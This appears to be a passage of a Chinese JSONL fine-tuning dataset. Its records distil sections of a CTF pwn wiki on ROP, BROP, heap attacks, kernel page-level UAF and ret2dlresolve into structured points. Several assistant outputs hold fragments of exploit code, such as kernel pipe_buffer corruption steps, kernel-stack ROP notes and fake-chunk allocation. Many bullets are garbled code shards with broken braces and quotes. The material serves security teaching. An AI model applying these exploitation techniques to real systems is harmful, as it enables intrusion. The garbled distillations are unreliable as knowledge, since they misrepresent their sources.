"ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1b4515757bef38c84291", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「控制rdx」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 控制rdx\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 需要提前说的是，并不是所有的程序都会调用strcmp函数，所以在没有调用strcmp函数的情况下，我们就得利用其它方式来控制rdx的值了。\n- 之前，我们已经找到了brop的gadgets，所以我们可以控制函数的前两个参数了。\n- 我们可以选择如下的一种方法 - 利用plt表项的慢路径 - 并且利用下一个表项的慢路径的地址来覆盖返回地址 这样，我们就不用来回控制相应的变量了。\n- 那么我们如果控制传递的参数为这两种地址的组合，会出现以下四种情况 - strcmp(bad,bad) - strcmp(bad,readable) - strcmp(readable,bad) - strcmp(readable,readable) 只有最后一种格式，程序才会正常执行。\n- 当我们找到plt表之后，下面，我们就该想办法来控制rdx的数值了，那么该如何确认strcmp的位置呢？\n- 注：在没有PIE保护的时候，64位程序的ELF文件的0x400000处有7个非零字节。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 621, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "控制rdx", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "控制rdx"], "original_id": "docs-522b9526a3654beaf2c2", "original_line": 68, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "a73cd7abf3d6a9f1c38ae720", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1b4fa59434b753d8b0f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：4/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- uaf / log_info(\"[] construct a second-level uaf pipe page...\");\n- } } if (snd_vicitm_pid == -1) { err_exit(\"FAILED to corrupt second-level pipe_buffer!\n- } } / VI - SECONDARY exploit stage: build pipe for arbitrary read & write / void building_self_writing_pipe(void) { size_t buf[0x1000];\n- } if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) { printf(\"[x] failed to resize %d pipe!\n- err_exit(\"FAILED to re-alloc pipe_buffer!\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5067, "chunk_count": 8, "chunk_index": 3, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-c21501479d647aa7c7f3", "original_line": 753, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1bd31874225cd9ed6f64", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：7/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- printf(INFO_MSG(\"[] kernel stack's addr: \") \"0x%lx\\n\",stack_addr);\n- } /* It may also be okay to write ROP chain on pipe_write's stack, if there's no CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT(it can also be bypass by RETs).\n- / reading the page table directly to get physical addr of kernel stack/ log_info(\"[] Reading page table...\");\n- printf( SUCCESS_MSG(\"[+] Got another virt addr of kernel stack: \") \"0x%lx\\n\\n\", stack_addr_another );\n- stack_page = direct_map_addr_to_page_addr(stack_addr_another);\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5136, "chunk_count": 8, "chunk_index": 6, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-cbd09a2d977ee590dd1e", "original_line": 755, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1caa8854e1d14041cdc6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP > ret2shellcode > 例子\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- } ` 可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。\n- > 点击下载: ret2shellcode 首先检测程序开启的保护： ``shell ➜ ret2shellcode checksec ret2shellcode Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ` 可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。\n- 接下来我们再使用 IDA 对程序进行反编译： `C int __cdecl main(int argc, const char argv, const char envp) { int v4;\n- ─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]──── 6 int main(void) 7 { → 8 setvbuf(stdout, 0LL, 2, 0LL);\n- `shell gef➤ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode Breakpoint 1, main () at ret2shellcode.c:8 8 setvbuf(stdout, 0LL, 2, 0LL);\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:asm\n- code:text\n- code:python\n\n代码/命令片段线索：\n- shell: 7 行，首行 `➜ ret2shellcode checksec ret2shellcode`\n- C: 11 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`\n- asm: 2 行，首行 `.bss:0804A080 public buf2`\n- shell: 33 行，首行 `gef➤ b main`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3257, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例子", "heading_path": ["基本 ROP", "ret2shellcode", "例子"], "original_id": "docs-649f3a94332002bf242b", "original_line": 1249, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "95632f6790364600b6154b89", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:asm", "code:text", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1cbae8b19058f39ffced", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「IOMMU 与虚拟化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > IOMMU > IOMMU 与虚拟化\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IOMMU 与虚拟化”展开。\n- 当引入了 IOMMU 之后，IOMMU 可以根据 Host 侧提供的 GPA 到 HPA 之间的地址转换表，进行DMA remapping，这样外设就能正常地访问到 Guest 的物理内存，而不会错误地访问到 Host 对应的物理内存区域。\n- 虽然 IOMMU 的引入增加了与外设通信间的开销，但 IOMMU 解决了系统虚拟化技术的一个难点：对于非纯模拟的设备而言，其并不知道 GPA 与 HPA 之间的映射关系，当其按 Guest OS 提供的地址进行 DMA 时会直接访问到 Host 的内存。\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 257, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "IOMMU 与虚拟化", "heading_path": ["IO 虚拟化", "IOMMU", "IOMMU 与虚拟化"], "original_id": "docs-6a9782ec76da6d39ce24", "original_line": 1415, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "88a951ef73f8d48979d513cd", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1cd6c02b0fed14909df6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Alloc to Stack > 演示\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“演示”展开。\n- 这次我们把 fake_chunk 置于栈中称为 stack_chunk，同时劫持了 fastbin 链表中 chunk 的 fd 值，通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。\n- int main(void) { CHUNK stack_chunk;\n- (long long *)chunk1=&stack_chunk;\n- `` typedef struct _chunk { long long pre_size;\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 20 行，首行 `typedef struct _chunk`\n- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`\n- plain: 3 行，首行 `0x7ffff7dd1b20 : 0x0000000000000000 <=== unsorted bin`\n- plain: 22 行，首行 `0x400629  call 0x4004c0 `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2632, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "演示", "heading_path": ["Fastbin Attack", "Alloc to Stack", "演示"], "original_id": "docs-d84e6db8c4b17f80d79d", "original_line": 922, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "3fac6d93b3852069d43aca0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1da6ae0718c02052b6cc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「now, we are on the new stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：now, we are on the new stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“now, we are on the new stack”展开。\n- 这里我们同时给出另外一种方法，即通过多次使用 vuln 函数进行漏洞利用。\n- ``python from pwn import\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `最终执行效果如下`\n- plain: 2 行，首行 `到了这里我们发现，与 32 位不同，在 64 位下进行栈迁移然后利用 ret2dlresolve 攻击需要精心构造栈的位置，以避免破坏 .dynamic 节的内容。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 754, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "now, we are on the new stack", "heading_path": ["now, we are on the new stack"], "original_id": "docs-7c092d132b1423b0dc36", "original_line": 1344, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9e337e635ba91f4780a75df6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1dc1c9cd1ab69bd6bbce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“construct rop chain”展开。\n- __libc_start_main@@GLIBC_2.0 LOAD:080482E4 dw 2 ;\n- } ` 进一步分析可以知道，因为我们伪造了 write 函数的重定位表项，其中 reloc->r_info 被设置成了比较大的值（由于 index_dynsym 离符号表比较远）。\n- global symbol: _IO_stdin_used `` 那我们可以再次运行看一下伪造后 ndx 具体的值\n- } ` 以及源码可以知道程序是在访问 version 的 hash 时出错。\n- 通过分析 .dynmic 节，我们可以发现 vernum 的地址为 0x80482d8。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `直接执行后发现并不行`\n- plain: 1 行，首行 `发现程序已经崩溃了，通过 coredump，可以发现程序在 `ld-linux.so.2` 中崩了。`\n- plain: 1 行，首行 `通过逆向分析 ld-linux.so.2`\n- plain: 1 行，首行 `以及源码可以知道程序是在访问 version 的 hash 时出错。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4886, "chunk_count": 2, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct rop chain", "heading_path": ["construct rop chain"], "original_id": "docs-b544a90ff4254db6812a", "original_line": 1322, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "1c364db1b50286d939c9e4a5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1f022bb8b6b52b6848bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「Reference and Thanks to」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > Reference and Thanks to\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference and Thanks to”展开。\n- https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/\n- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic\n- https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml\n- https://blog.csdn.net/gatieme/article/details/78311841\n- https://veritas501.space/2018/06/05/qwb2018%20core/\n\n关键术语：\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 468, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Reference and Thanks to", "heading_path": ["Kernel ROP", "Reference and Thanks to"], "original_id": "docs-0dc8077e0227e394de65", "original_line": 827, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "b22daa01d8511a969272b176", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1f4729b2ebf7a2a93182", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「HITCON Training lab14 magic heap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > HITCON Training lab14 magic heap\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“HITCON Training lab14 magic heap”展开。\n- 题目链接 这里我们修改一下源程序中的 l33t 函数，以便于可以正常运行。\n- ``c void l33t() { system(\"cat ./flag\");\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 1 行，首行 `void l33t() { system(\"cat ./flag\"); }`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 210, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "HITCON Training lab14 magic heap", "heading_path": ["Unsorted Bin Attack", "HITCON Training lab14 magic heap"], "original_id": "docs-95923ace0f080e012652", "original_line": 1104, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "7a9f3ec175b505d353f20d0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1f95411180b400fec18f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/dev.md` 中的章节「QEMU 设备 IO 处理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/dev.md`\n标题：QEMU 设备模拟\n章节：QEMU 设备模拟 > QEMU 设备 IO 处理\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“QEMU 设备 IO 处理”展开。\n- > accel/kvm/kvm-all.c ``c int kvm_cpu_exec(CPUState cpu) { //... do { //... run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0);\n- // VCPU 退出运行，处理对应事件 trace_kvm_run_exit(cpu->cpu_index, run->exit_reason);\n- switch (run->exit_reason) { case KVM_EXIT_IO: DPRINTF(\"handle_io\\n\");\n- / Called outside BQL / kvm_handle_io(run->io.port, attrs, (uint8_t )run + run->io.data_offset, run->io.direction, run->io.size, run->io.count);\n- case KVM_EXIT_MMIO: DPRINTF(\"handle_mmio\\n\");\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 29 行，首行 `int kvm_cpu_exec(CPUState *cpu)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 756, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "QEMU 设备 